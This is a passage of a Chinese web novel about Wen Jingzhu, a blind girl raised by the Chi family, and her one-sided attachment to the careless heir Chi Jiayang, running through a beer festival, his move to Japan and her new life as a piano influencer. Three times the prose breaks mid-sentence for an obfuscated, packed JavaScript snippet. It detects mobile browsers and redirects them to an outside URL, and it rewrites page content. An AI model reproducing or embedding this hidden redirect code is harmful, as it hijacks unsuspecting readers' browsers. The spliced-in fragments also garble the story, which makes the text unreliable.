温惊竹也释然了,其实并不需要什么两地相隔来使她和迟嘉洋越来越远,或许在迟嘉洋的世界里,她存在与否与以他为中心的生活相比本就无关紧要。所以和他在一起的时候,她从未觉得自己真正走进过他的心,只是一个陪伴而已。 但即使如此,她也很珍惜了。 她还记得五一假期的后面四天,因为孟皓琦在,所以迟嘉洋都没带她一起玩。 那就姑且珍惜一下孟皓琦回来之前的最后时光吧,她这么安慰自己,做出了这个陪他去钓鱼的决定。 其实她仍旧想去烟城,去步行街,去商场,去斑马……和迟嘉洋两个人,再过一段那如烟花般绽放、绚烂却转瞬即逝的生活,可眼下迟嘉洋只喜欢钓鱼,她就只能陪着钓鱼,她是没有资格提条件的人。 在刘晓栋车上,她已经昏昏欲睡了。 车开进村里,来到一处水库边,几个人在草地上支起座椅,安装浮标,缠绕鱼线,摆放好各式各样的东西,迟嘉洋没忘给温惊竹点上那驱散蚊虫的香,挺刺鼻的,连人都受不了,何况那么大点的小飞虫。 温惊竹那一晚半睡半醒,间断地听着迟嘉洋、叶盛斌和刘晓栋絮絮地说话,也听见迟嘉洋和她的说话声:“小竹子,你困了就睡会儿吧,一会儿我钓上鱼了告诉你。” “小竹子,你知道吗?你正上方有好多星星,我能找到北极星。” “小竹子,一条金色的鱼!可漂亮了!” …… 温惊竹做了一晚上梦:村落里微波荡漾的水,黑漆漆的天,天地广袤,她在那水天之间飘来飘去,围绕她的是光彩熠熠的白色的星,还有那金灿灿的漂亮的鱼。 她想起她从手机上听到的一段话,由机器人女声一字一字地念进她耳朵里:【我恐惧有一天对你记忆模糊,淇水汤汤,不愿与君绝。】 泪滴从眼角滑落,第二天她在迟家的别墅里睡了一整天。 —【8月6日啤酒节】— 因为孟皓琦回来,温惊竹已经很久没见到迟嘉洋了。 对于迟嘉洋的行踪,她和迟夫人一样不甚明朗。 关于他高考成绩,迟家上下十分默契地只字不提,查分那天温惊竹在楼上练琴,之后就很神奇地听不到一点儿风声了,她也不好问,估计是差得离谱。至于之后有什么打算,更不是她该关心的范畴。 只是8月16日这天下午,迟嘉洋回了家,和迟夫人说他晚上要出去一趟,可能凌晨才回来,迟夫人都懒得关心他在外面浪什么,这回可能是他太兴奋了,他自己说:“我要和朋友去趟青城。” “青城?”迟夫人皱眉,“大晚上的,去干什么?” “啤酒节呀!”迟嘉洋说。 “开车去?” “废话。” “怎么和长辈说话呢?”迟夫人眉头更深,但温惊竹清楚,她打心里还是娇惯着迟嘉洋的,放任他各种“为非作歹”,否则迟嘉洋怎么会养成如今这种性格? “开车两个半小时就到了,主要是啤酒节在西岛,我去换身衣服。” “欸,你不带惊竹一起?” 话落,迟嘉洋目光落到坐在沙发上的温惊竹身上。 他已经很久没带温惊竹出去玩了,大家都清楚。 “也……行。” 谁都能听出话里的勉强,温惊竹有点尴尬。 但似乎是为了给带温惊竹去玩增加点乐趣,他心生一计,对温惊竹说:“欸,小竹子,要不你穿我上次给你买的衣服吧?肯定好看!啤酒节上人特别多,打扮得漂亮一定又会有很多人看你。” 温惊竹对着他的方向,点了点头。 “好,那我去换衣服,你也快去吧!”他又转身朝迟夫人,“妈,晚上让阿姨少做点饭,我和小竹子喝点粥就行,我们五点出发,啤酒节那儿有的是好吃的。” “行。”迟夫人笑眯眯,但不忘叮嘱,“啤酒节人多,你照顾着惊竹点,还有你那些朋友,别太不靠谱了。” “唉呀——”迟嘉洋再次不耐烦,“你就放心吧,都是好人。不信你问小竹子,我们什么时候欺负过她?” 迟夫人“啧”一声。 自迟嘉洋给她买那些衣服后,温惊竹一次都没有穿过,因为很不好意思。 可今天要穿出门了,她也不用费心搭配,因为黑色短裤就一条,迟嘉洋说配三件T恤里的哪件都合适,她便随便穿了一件,实际是那件浅天蓝色的,配上她披散的长发最温柔好看。 吃晚饭时,迟嘉洋目光都总忍不住往她身上扫,喝着粥,突然来一句:“小竹子,你这样也太好看了。” “是啊,”连迟夫人都说,“就是你给惊竹挑这样的衣服,也不知道惊竹自己是不是真喜欢,好像你强迫人家穿的一样。” “哎呀——妈,您就甭管了!” 似乎是感到不服,非要证明什么,过了一会儿他问温惊竹:“小竹子,你喜不喜欢我给你挑的衣服?” 温惊竹正拿勺子舀粥往嘴里送,动作一顿:“喜欢。” 很明显的思考时间让这个答案并不十分肯定,迟嘉洋却十分满意,迟夫人敲一下他额头:“你啊你。” 吃完了饭,该出发了,迟夫人目送两人离开,但半路迟嘉洋将车停到路边,和温惊竹说:“小竹子,说实话,今天本来是约好两个人去的,但加上你,我这车有点坐不开,能不能委屈你在后排坐一下?” 他这野马是双门轿跑,车内虽然有两排座位,但后座的空间十分狭窄,近乎是只用来放东西的,不坐人。 温惊竹也没想到是这样的情况,她还以为和以前一样:她和迟嘉洋先去面剧,大家坐刘晓栋的那辆白色SUV快快乐乐地出去玩……既然迟嘉洋说只有两个人,她犹豫一下,想说:要不我不去了。 可不去的话,回到家里怎么和迟夫人解释呢? 若是让迟嘉洋把自己放到面剧,回来时再让他接她回家,可迟嘉洋说要玩到凌晨,叶盛斌也不能一直在面剧陪她等吧。 “好。”她还是答应了。 看她过了这么久才反应,迟嘉洋当然知道她不愿意,只能安慰:“委屈你了。” 也只是这么一句简单的安慰而已。 他将副驾驶位的座椅往前调,掰下椅背,让温惊竹钻到后面去坐下,笑了笑:“小竹子,幸好你瘦。” 这次温惊竹没有笑出来,迟嘉洋也没在意。 他去接上了孟皓琦。 孟皓琦一拉开副驾驶车门,熟悉的声音便传进来——“洋洋!” 娇滴滴的、长长的尾音,带着见面时的欣喜。 她将包一撂、坐进来后才发现不对:“咦?这椅子怎么这么往前?谁调的?” 刚要向后调,被迟嘉洋制止——“欸,后面有人呢。” “什么?” 孟皓琦见鬼似地往后瞧,温惊竹便感受到了那道不善的目光,她没再笑了,孟皓琦也了然了:“噢——” “嗯,出发。” 车内氛围略有些尴尬,但驶上高速路后,迟嘉洋与孟皓琦有说有笑起来。伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588701|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着车内音乐,这才有了去短途自驾游的快乐,在后面的温惊竹一直无言。 他们说的内容包含他们这段时间以来一起经历的事、一些共同认识的人,她听不懂,可也不能屏蔽掉它们好好地睡上一觉。孟皓琦很激动地向迟嘉洋说着个八卦:“我和你说,那个女的和那个男的劈腿之后……” 他们突然爆发出大笑,连带车都有点不稳地轻晃起来。 温惊竹将脑袋靠在一边坚硬的车身上,闭上眼,希望自己能稍稍睡上一会儿。 两个半小时颇为漫长,到达目的地时她也只是半睡半醒而已。迟嘉洋与孟皓琦说了一路的话,那些话像无数张被团成团的卫生纸,横蛮地往她脑袋里塞,胀得慌。 “来,小竹子,下车了。” 车门大开,温惊竹听到外面环境的喧闹,应该是在景区的停车场。迟嘉洋给她向前调整副驾驶座椅,让她下车。她动了动腿,这才觉得麻。 头也晕晕的。 孟皓琦对迟嘉洋说:“今天我牵着她吧,你不是说一会儿还有你朋友和他对象吗?要是让他们看见你牵着个女的,好奇怪。” 迟嘉洋笑了:“是哈,你还怪体贴的。” 孟皓琦打了他一下。 他用不正经的调调说:“琦琦,你真好。” “你快闭嘴吧!” 但一路上他和孟皓琦没有牵手,他们也并不像是在一起了,只是在一起玩而已。 倒是孟皓琦牵着温惊竹,乍一看姐妹花似的。实际温惊竹还不太能适应换个人牵着自己,因为完全信任一个人是很难的,何况那个人是孟皓琦。所以她没办法每一步都走得顺畅,孟皓琦有所察觉,歪过头来和她说:“哎呀,我是那么坏的人吗?你就完全信任我吧,你要是摔一跤、磕坏了,我怎么和迟嘉洋老妈交代呢?那样还会耽误我们玩呢。” 温惊竹觉得有道理,迟嘉洋插不上话。 孟皓琦倒真时刻注意着温惊竹脚下,提醒她有台阶什么的,要是差点撞到人还会把她往自己这里拉一把。 虽然还没进啤酒节园区,但这一带已经人流密集了,不少人经过温惊竹时都会忍不住多看她几眼:长长的随风飘动的黑发,白皙到几乎发光的皮肤,一双长腿,大大的眼睛,只是那目光没有聚焦像是在发呆或乱瞟。还不待看出什么端倪,就擦身而过了。 迟嘉洋似乎也注意到这点,越过孟皓琦笑吟吟地和温惊竹说:“小竹子,你知道这一路上有多少人在看你吗?” 他总是说这样的话。 温惊竹只是笑笑,没有回应。孟皓琦第一次被噎得不知道说什么。 进园区了,迟嘉洋打了个电话,三人和他的那一对情侣朋友见上面,相互间简单地介绍一番,那两人都对温惊竹这么一位特殊的客人感到惊讶,迟嘉洋说:“叫她‘小竹子’就行。” 五人开始在偌大的园区内溜达,聊着天,这里的东西真太多了:小吃摊位成排成串,种类应有尽有,表演互动、打卡拍照墙……光各个品牌的啤酒大棚就支起来五座。他们先吃了会儿东西,又选了座啤酒大棚进去看演出,却都不喝酒。迟嘉洋和他那位朋友好久没见了,聊起天来,然后点评着一言难尽的演出节目,哈哈大笑,却跟喝醉了没太大差别。 温惊竹在他们之中的存在感始终淡淡的,说白了,真有点像一只小宠物。 ——只要被带着一起就行,吃的喝的都不会少,但她真的想做什么、到底愿不愿意在某个地方待,无人在意。 孟皓琦忽然叫道:“我都忘看时间了!我做过攻略,晚上九点整海边会放烟花,应该去拍照的,现在就剩下十二分钟了!” “海边?在哪里?”迟嘉洋那朋友完全不知道。 其女朋友高声:“烟花?拍照?真的吗?我也想去!” 孟皓琦指了指与园区门口相反的方向:“就在那边。”然后她在手机上看地图:“距离1.2公里左右,我们过去还来得及。” “1.2公里?”迟嘉洋惊讶,“如果我没记错的话,中考体育1000米一直跑要跑3分40秒……” “所以时间绰绰有余啊!”孟皓琦看着他,不解,“还有十二分钟呢……十一分钟了,我们小跑连带快快走是可以到的。” 四人面面相觑,最后目光落到迟嘉洋那位朋友的女朋友脸上,她十分焦急——她也想去。 夜晚,海边,烟花,出片,自己又是全妆,今天出来玩还特意搭配过衣服,试问哪个女孩能不心动?现在还有一个同样想拍照片的女生可以相互帮忙…… 好了,这下一锤定音了,迟嘉洋和他朋友一同起身:“走吧。” 温惊竹跟着起身,大家才注意到她。 孟皓琦看着身边这位还有点一脸茫然的人,也懵了:“等等,那她怎么办?” 14. 梦中梦 去海边刻不容缓,再耽误下去真没有时间了。 可“任重道远”,迟嘉洋与他那位朋友都没有说出“我来背她吧”这句话的决心与勇气,何况那样一路上小跑着像什么样子?拐卖民女吗? 再说了,要是耽误了时间谁负责?两个女生一起变脸闹不愉快可是件很恐怖的事。 手机上代表时间的最后一位数字又变了一下,就剩9分钟了。孟皓琦当机立断,拉温惊竹来到几米之外的烧烤炉边,正在烤肉的是一位挺清瘦的小哥,戴黑色鸭舌帽,穿一件已经被油烟浸得有些灰扑扑的草绿色T恤,但看起来人不错,她直入主题:“您好!我们现在有点事,要离开一趟,但我们保证半个小时之内回来,因为要赶路,这个女生她眼睛看不见,所以不方便和我们一起去,您能代我们照看她一下吗?半小时,就半个小时!” 小哥犹豫地看她一眼:“半个小时?” “对,最多四十分钟!” 小哥沉默的几秒里,或许在思考,他们是不是打算把温惊竹彻底丢弃在这儿,毕竟是个盲人。可看他们穿着体面,想大不了他们不回来再报警,还是勉强地答应了:“行。” “谢谢!谢谢!我们去海边拍个烟花就回来!” “行。” 迟嘉洋等人跟上来,明白是怎么回事,孟皓琦拉着他手臂就要往外跑:“走!” 没拉动。 孟皓琦扭头愤怒地看他一眼。 迟嘉洋抬头望了望,看见这棚内有一圈监控,和在烧烤的小哥补充一句“麻烦了,谢了”,这才迈开步子:“走吧!快点回来。” 孟皓琦冷哼一声。 他们走了,清瘦的小哥挪了把椅子给温惊竹,让她坐到他身边。但他性格沉闷,一句话都不和温惊竹说,温惊竹便也安安静静的。 他们身后是棚子的边缘,温惊竹渐渐闻到股难闻的气味,是被闷在这里的烧烤油烟、从身后泥地里隐隐散出的尿骚味与呕吐物的味道混合在一起,她不得不控制着自己呼吸得浅一点,浅一点,却也不能够离开。 时不时有个胖子过来报菜:“12桌,再加两把花肉。” “好。” “咦?这是?” 胖子注意到温惊竹,如此清瘦白皙的一个小女孩坐在这儿未免也太扎眼了。小哥答:“让帮着照看一会儿的。” “谁?谁让帮着照看?” “客人。” “那客人呢?”他很是惊奇。 “去海边看烟花了。” 短暂的沉默。 一只宽厚的手掌忽然覆到温惊竹头上来,吓得她“啊”地一声叫出声,倏然起身,向后退了两步,撞着椅子差点踉跄着摔倒,但还是站住了。接着传来那小哥的暴喝:“你干什么呢!她眼睛看不见!” 胖子“呵呵”地笑了几声,没有说话。 “你快滚!快滚!” 胖子悻悻地走了,但温惊竹听见他走之前不高不低地骂了句:“婊子。” 她呆住了。 泪水在眼眶里打转,小哥将温惊竹的椅子挪到另一边,询问她:“你没事吧?” 可他不习惯抬头看人,便也没注意到这个小女孩其实已经泫然欲泣了。 “来这边坐吧,这边没人。”他沉默片刻,“用我拉你么?” “……不用。” 温惊竹才像一个木偶人被勉强地唤醒,凭刚才声音判断出小哥将椅子挪动后的位置,一步一步小心翼翼,慢慢地从他身后走过去,重新坐好。 另一边似乎是一片被高高摞起的啤酒箱,于是不会再有其他人接近她了。 那两个字循环往复地在她脑海中闪出:婊子、婊子、婊子…… 像是一道道闪电不停地劈过她的世界,令她惊愕且恶心不已。在这种强烈的震惊下她有些想作呕,只能忍着。 过了许久,听见旁边一声:“不好意思。” 小哥代替那个胖子道了歉。 “……” 她没有说话。 心却稍稍沉静了一些。 两人再没有说话。 她的心思渐渐回到现实,时间又变得好漫长,好漫长。 尤其在这闹哄哄的棚子里,远处舞台上传来女歌手声嘶力竭却偶尔跑调的歌声:“人潮人海中,有你有我,相遇相识相互折磨……” 下面人声鼎沸,全是醉鬼的呼号混合在一起,形成一股强大的力量鼓胀着人的耳膜。 温惊竹却在心里构思着一个静谧的世界的角落:柔软的沙滩,徐徐拍岸的浪潮,夜晚下的浪花泡沫亮晶晶的,迟嘉洋、孟皓琦、迟嘉洋朋友及他的伴侣,他们在这样的天地中提着鞋蹦着、笑着、闹着,忽然“咻——”的一声,延迟几秒,硕大而绚烂的烟花在空中绽放,又发出“砰”的一声巨响,于是尖叫声更大了,两位男士开始旁观两位女士在这华丽的天幕下拍照,那些烟花在她们身后不断绽放、流泻、隐退,最后如同一颗颗消失了光芒的星子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588702|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坠入海里。 想着想着,她眼眶又湿润了。 他人生中很多精彩绝伦的篇章,都没有她的身影。 哪怕她参与进去,也是无关紧要的人物。 比很多在他人生中如过客般留痕的女生更惨,因为她,是无关紧要的。 —【8月26日出国】— 迟嘉洋要去日本留学这件事,温惊竹是在他临行前几天、从迟父迟母聊天的只言片语中得知的。 她说不出心中的感觉。 因为在高考前、迟嘉洋带她去烟城住的那个周末,她曾有种错觉,她认为她和迟嘉洋的关系是一条不断向上攀升的直线,但因为他要去读大学、和她两地分隔于是戛然而止,带着强烈的遗憾、心脏持久的震颤,但其实不是的。 挨过了这个暑假,她知道了他们的关系其实是一道开口向下的抛物线,顶点是最后在烟城度过的那个周末,而后一落千丈,不可挽回。 但她对迟嘉洋并没有怨恨或是什么,因为她是个看不见的人,他不喜欢她是理所当然的事,他一直带着她反而麻烦更多。 只是他给她留下的这些回忆,对她来说铭心刻骨,如同一盘颜料打翻在黑白色琴键上,让人不可思议又如此震撼,完全无法淡忘,她真不知道是应该感激还是该感到悲哀。 迟嘉洋出国时,她和迟父迟母一起送他到青城机场,在安检口前大眼瞪小眼。 “那个,我走了哈。” ——迟嘉洋半天憋出这么一句话。 人可能都不太擅长分别。 “走吧走吧。”迟夫人摆摆手,勉强地挤出一句,却也能听出她心中的千言万语。 来的途中她已经嘱咐了迟嘉洋一路,烦得迟嘉洋在车上哇哇乱叫,就差直接把耳朵给捂起来了。 最后一次转身回来,迟嘉洋深深地看了温惊竹一眼。 她穿着平日里的长裙,面容平静,始终什么话都没有说,也依然看不见任何,包括此时站在几米之外的他。她可能都还不知道他长什么样子。 他突然觉得有点可惜,意识到自己也将很长时间看不到他的小竹子了,忽然想到难道他们之间就不用说些什么吗? 一路上都是他爸妈在说话,虽然其中他妈的话占据了足足95%,温惊竹却是一句话都没有说。这么一回想,自上次从青城啤酒节回来,他们已经十天没有说话了。 温惊竹听见迟夫人轻轻地说:“走吧。” 迟嘉洋走了。 15. 风里风 下篇·如闻风里风 —【第一年12月31日新年快乐】— 跨年的那天晚上,温惊竹跟迟父迟母一起带迟嘉洋的亲弟弟——迟嘉乐到烟城玩,烟城的很多商场与广场都会在这天举办活动,譬如在室内放出无数只气球,譬如壮观的无人机表演,但此时的海县仍是一片黑寂——那儿平日里的夜晚就没多少灯光,晚上九十点钟街上就没人了,不会有这样的气氛,不甘寂寞的青年们或许会聚集在海边放烟花,仅此而已。 虽然烟城的这些活动温惊竹都看不到,没什么体验感,但迟父迟母总不可能把她一个人丢在海县不管。 迟母牵着她的手,让迟嘉乐在她的另一边牵着她另一只手,说:“乐乐,一定要拉好姐姐哦,不要让姐姐摔倒!” 这位12岁的小男孩却是和迟嘉洋相似的个性——十足的少爷脾气,他一副臭脸,冷而不耐烦地说:“知道!”手倒是牵得紧。 这时候温惊竹又会忍不住发自心底地笑笑,然后一阵空落。 ——哪里都没有迟嘉洋,但哪里都是迟嘉洋的影子。 她总有种错觉,仿佛自己在牵着12岁的迟嘉洋。 更可怕的是,迟父迟母打算在他们烟城的新房子里住几天,正是迟嘉洋之前带温惊竹来住的那套。 他们在跨年活动之前去商场采购生活用品,挑选东西的一幕幕场景都似曾相识:“惊竹,你看看你用什么样的牙刷?阿姨给你挑这款小一点的怎么样?” 温惊竹不好意思说,其实侧卧里一直放着她的牙具,连毛巾都有。为不露破绽,她还是跟着迟夫人挑选了各式各样的生活必需品。 听迟父迟母有一搭没一搭地聊起迟嘉洋,他们无疑十分惦念他们那远在异国他乡的大儿子—— “那小子最近还跟你要钱了吗?”迟父问。 “当然了,成天叫苦不迭的,主要是我这个月给他给得少了。”迟夫人放低声音,“你看他朋友圈和抖音里的那些照片视频,每天玩成那样子,真的在好好学习吗?” “唉……”迟父笑着叹了口气,“那孩子,你又不是不知道,你这给钱给少了,他又要磨我耳根子了。大老远的,也不必让孩子在外面受委屈吧?” “什么委屈啊?你啊你,就惯着他!”迟夫人没好气,可温惊竹分明能从她语气中听出心疼,“我说啊,其他在那儿的留学生都自己做兼职,听说哪怕是发发传单、看看店就能赚不少钱,我也不求他怎样吧,可他也磨我耳根子啊!总跟我说,他那些同学都是富二代,家里给的生活费可多了,跟他们在一起他自卑。” “自卑?听他放屁!不过,你想让他去发传单?”迟父发出爽朗的笑声,温惊竹心里想象着那个画面,也笑了。 可不知道迟嘉洋在日本是不是真过得不好,她竟也忍不住跟着担忧。 却又听迟父放低了声音问:“欸,我发现有个女生老出现在他发的照片里,你说是不是他谈了个女朋友?” 迟夫人笑了:“女朋友?你又不是不知道他,和他玩的女生多了去了。” 温惊竹心里隐隐的担忧瞬间无影无踪。 先回了趟房子,将生活用品归位,迟父迟母依然安排温惊竹睡在侧卧。可看着侧卧洗手间里已经摆放好的各种洗漱用品,她愣了。 缓了许久说:“迟嘉洋这小子,这是偷偷摸摸带了哪个女生来这里睡了?也不知道把东西收拾干净。” 因为迟嘉洋给温惊竹挑选的牙刷是粉色,浴巾也是…… 温惊竹在一旁不敢吱声。 “好了,惊竹,一会儿阿姨给你换套床具。” “不用了,阿姨。”温惊竹也知道迟夫人说的是客气话,这里是新家,哪有备用的被单可换,即使换了也不方便。迟夫人果然有些为难地绕着侧卧看了一圈:“那行吧,我看这里也挺干净,不像被睡过好几次的,反正我们也只在这里住两天,惊竹,委屈委屈你。” “不委屈的,阿姨,谢谢。” 是真不委屈。 因为就是她睡的。 晚上带迟嘉乐去参加完各种跨年活动,刚回到家,迟夫人的手机就响起来,她看过后:“哟,是迟嘉洋的视频电话。这小子,终于知道给家里打个视频了。” 四人于是在玄关处站着,迟夫人接通电话,熟悉的迟嘉洋的声音带了点通话中的电流音:“怎么打了这么久都打不通?哟,你们这是在哪儿呢?刚回家?在烟城?” “是啊。”迟夫人明明喜悦却在视频画面中装出嫌弃的样子,“不是和你说过了吗?也给你拍了照片、录了视频,我们带嘉乐到烟城来跨年了,只是刚才商场人多,没有信号。哦,还有惊竹呢。” 迟夫人将手机移动一圈,给视频通话里的迟嘉洋看身边三人,迟嘉洋还停留在她话的末尾上:“惊竹?” 如此生疏的称呼,温惊竹有点僵硬。 “是啊,惊竹。”迟夫人最终将镜头定格在温惊竹身上,“还记得惊竹吗?” 下一秒,迟嘉洋的声音从温惊竹正前方传来:“新年快乐啊,小竹子!” ——新年快乐啊,小竹子! …… 温惊竹洗漱后躺在床上,又想起当初和迟嘉洋一起躺在这里的夜晚,那句远隔重洋的“新年快乐啊,小竹子”不断在脑中重放,依然带着年少气盛,却也不得不正视时间所带来的隔离与生疏。 回忆就是回忆,意味着再也不能够回去。 何况这份回忆,对她和对迟嘉洋来说的分量是不一样的。 —【第二年1月28日回国】— 迟嘉洋是春节前一天回来的。 家里一切如常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588703|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在别墅一层的大厅里和爸妈寒暄完毕,他问:“小竹子呢?”迟夫人笑眯眯说:“在楼上练琴呢,你快去看看吧!” 看着老妈脸上的讳莫如深,迟嘉洋不大理解。 他一步步走上三楼,流畅华丽的琴声愈加清晰。 当登上最后几级楼梯时,三楼的场景自上而下地在他眼中徐徐展现:奶白色碎花壁纸,处处是白漆柜架,其中摆满了颜色饱满的花,都是真花,以至于整层楼都清香扑鼻的。还有各式各样的摆件:白色石膏制的天使半身像、颜色素雅的彩漆瓷器……连带温惊竹的钢琴都换成了一台纯白色三角钢琴,气势恢宏。 这是……? 迟嘉洋怀疑自己穿越了,进入了什么异世界空间,而温惊竹对于有人上楼这件事并不在意,不知道是不是过于沉浸在指间的《月光》中而没有听见他的脚步声。 一曲完毕,他鼓了鼓掌:“小竹子,你弹得太好了!” 听到他声音,温惊竹却没有对于他的突然到来而感到惊讶,只是面朝着他的方向,微微笑着。 迟嘉洋没能继续说得出话。 因为温惊竹那样的笑和他们以前在一起时的笑完全不一样,没有了任何表达出友善的讨好的意味,而只是个礼貌的微笑,仅此而已。 以前温惊竹笑的时候,或许会微微垂下眼,或微微颔首,但现在她的下巴甚至是轻轻扬起的。 她的模样也完全变了:没有了刘海,梳成三七开的高颅顶长直发,头发较少的一侧朝向他,便露出精致的侧脸线条、一段白腻的天鹅颈。她化着淡妆,可即使淡妆在她那副五官上也足够了,过分的妆容只会让她本就清丽惊艳的面容略显俗气。 她像摆在柜面上的石膏雕像一样,没有动,迟嘉洋却忍不住靠过去,半蹲在她身前,仰起头问她:“小竹子,你不记得我了吗?” 另一边响起个声音:“你是谁?” 迟嘉洋起身,铃铛正从屋内出来,迟嘉洋上下扫过她一遍,皱起眉,一秒钟恢复对外人的冷漠态度:“你又是谁?要不你猜猜看这里是谁的家?” “哦——大少爷啊!”铃铛笑吟吟道,“你回来了?白天听夫人说过。” 迟嘉洋被她的这番热情给搞得阴沉:“你到底是谁?” “自我介绍一下,我叫‘铃铛’,当然啦,这是我的花名,我现在是温惊竹的助理。” “助理?”迟嘉洋越听越云里雾里,“什么助理?” “您不知道吗?”铃铛笑眯眯的,“惊竹现在开始当网红啦,我负责策划、录制、剪辑、运营账号,近乎一整套流程,是迟夫人聘用我的。目前账号才发了三条视频,当然也买了点推流,总之现在惊竹在抖音上已经有两万粉丝了,最高的视频点赞量十万。怎么样,迟少爷,我没有白吃你家的干粮吧?” 16. 风里风 迟嘉洋愕然了。 让温惊竹当网红的想法,是迟夫人半个月前冒出来的。或许是太想念迟嘉洋,迟嘉乐放寒假期间都是她接到别墅里来亲自照管的,带着到处玩,哪怕是去看店和有应酬也不例外。可迟嘉乐开学了,作息规律起来,她与迟父都无法保证每天按时接送辅导作业,于是又把迟嘉乐托给亲戚家,总觉得一座别墅空落落,心思这才落到别墅里的另一个人——温惊竹身上。 说起来,她这年龄本该去上大学的,可她从没上过学,之前跟着爸妈时都是请的家教。但那也要为她以后考虑吧。他们会老,总不能养她一辈子,她自己也不能这么兀自弹一辈子琴,于是迟夫人灵光乍现。 最近他们顺应潮流,在金店搞直播,所以她对互联网自媒体这方面有些接触。店内又在招主播,和这些来应聘的年轻女孩一说,便兜兜转转把铃铛给介绍过来——铃铛自南方一座挺有名的传媒院校毕业,却想留在海县,可惜这座小县城根本没有适合年轻人的发展机会,她和迟夫人真是千里马遇伯乐。 “正好,今天要给惊竹录一段新视频,明天就除夕了,我得回家,我家就在海县,离得近。”铃铛说,“大少爷,要不要留下来看我给惊竹录视频?” 不待迟嘉洋反应,温惊竹说:“迟嘉洋,听我弹会儿琴吧。” 迟嘉洋又沉默了。 他目光落回温惊竹身上,她坐在那儿,虽然穿着挺简单的米白色居家半身裙,却气质非凡,他好像从未认真地观察过她手,哪怕他从很早便清楚那是一双17岁时就考过了钢琴十级的手。 此时那双十指白嫩纤长的手如蝴蝶振翅般在钢琴琴键上飞舞,《Take My Hand》中最经典欢快、宛如救赎一般的旋律便从蝴蝶翅膀的缝隙中飞扬而出,让人仿佛看到这座屋子中所有鲜花从花苞到盛开的全过程。 铃铛完全陶醉其中:“太完美了!” 她又看向有些呆滞的迟嘉洋,纳罕:“大少爷,您没听过惊竹弹琴吗?” 迟嘉洋再次被撞见失态,不受控的神情渐渐恢复控制,然后再次变为对铃铛的不满,冷声道:“你话真是太多了。你录吧,我在一旁看。” 他拉了把椅子,贴着楼梯口旁边的墙坐下。 他不是没听过温惊竹弹琴,而是没听过温惊竹以那样的语气说话,她改变的地方实在太多了。 他对温惊竹的声音最深的印象,就是一个轻到发闷的“好”,但她大多数时候是沉默的,总要他问些什么,甚至求她陪他去做一些她并不情愿的事,才能逼出那一个轻轻的字——“好。” 而她刚才叫了他大名,声量也是之前的两三倍有余,至少是一个正常人不卑不亢的说话的音量:迟嘉洋,听我弹会儿琴吧。 沉思之中,温惊竹继续练习着一会儿视频中要弹奏的曲目,这首《Take My Hand》,虽然她已经熟练到手指要飞出残影了。 铃铛在一旁给迟嘉洋讲解:“迟大少爷,你别小瞧了这屋里的陈设,录制不同的视频时我都要负责大换一次,还要和惊竹衣服的款式与颜色搭配起来。哦对,选曲也不能是太过专业化或太小众的钢琴曲,而一定要是这种大众耳熟能详、搭配上文案很有感觉的。”她笑眯眯转移了说话的对象:“惊竹,我们去换衣服吧。” “好。” ——“好。” 这个熟悉的字。 有些湿润朦胧的眼眶中,迟嘉洋露出个笑。 尽管这声“好”已经和他曾经所听过的很多声“好”不大一样了。 温惊竹再从屋内走出来时,身上穿着一袭浅金色的抹胸长裙,果然如铃铛所说,和这屋内的陈设是同一风格。因为清瘦,她的锁骨十分明显,肩颈骨感,露出了大片肌肤后更显得白得耀眼,如同之前那一双长腿。 迟嘉洋的目光中,温惊竹并没有因为身穿礼服而感到不自在,相反,她十分从容。 她在钢琴前坐好,连带那钢琴长凳都换成白色丝绸的,铃铛打开各种打光设备,架好镜头,调试。迟嘉洋假装看得有些烦闷,起身:“那你们录吧,我想起来楼下还有行李没收拾,一会儿一起吃晚饭吧。” “嗯,谢谢大少爷,我就不在家吃啦!”铃铛转着某一盏打光灯说,“已经和迟夫人打好招呼了,我今天拍完就回家,准备明天过年的事,提前祝你们新春快乐!” 迟嘉洋下着楼,差点因为没看清某一级楼梯而整个人摔下去。 真见鬼了,他想。 可他心里分明也清楚自己匆匆“逃离”的真正原因——自上这三楼以来,他所接受的信息量实在太大,像面团泡了水一般在他的胸腔中胀得厉害,他几乎喘不过气,他不能再在那个空间中继续待下去了。 下楼之后,楼上传来《Take My Hand》悠扬的曲调,一遍一遍,循环往复。 录制完毕了,铃铛要收拾东西离开,温惊竹道一声“辛苦”,她则好奇地问:“惊竹,你和你们家大少爷之间有什么过节么?” 温惊竹想了想,纳闷她为什么这样问:“没有。” 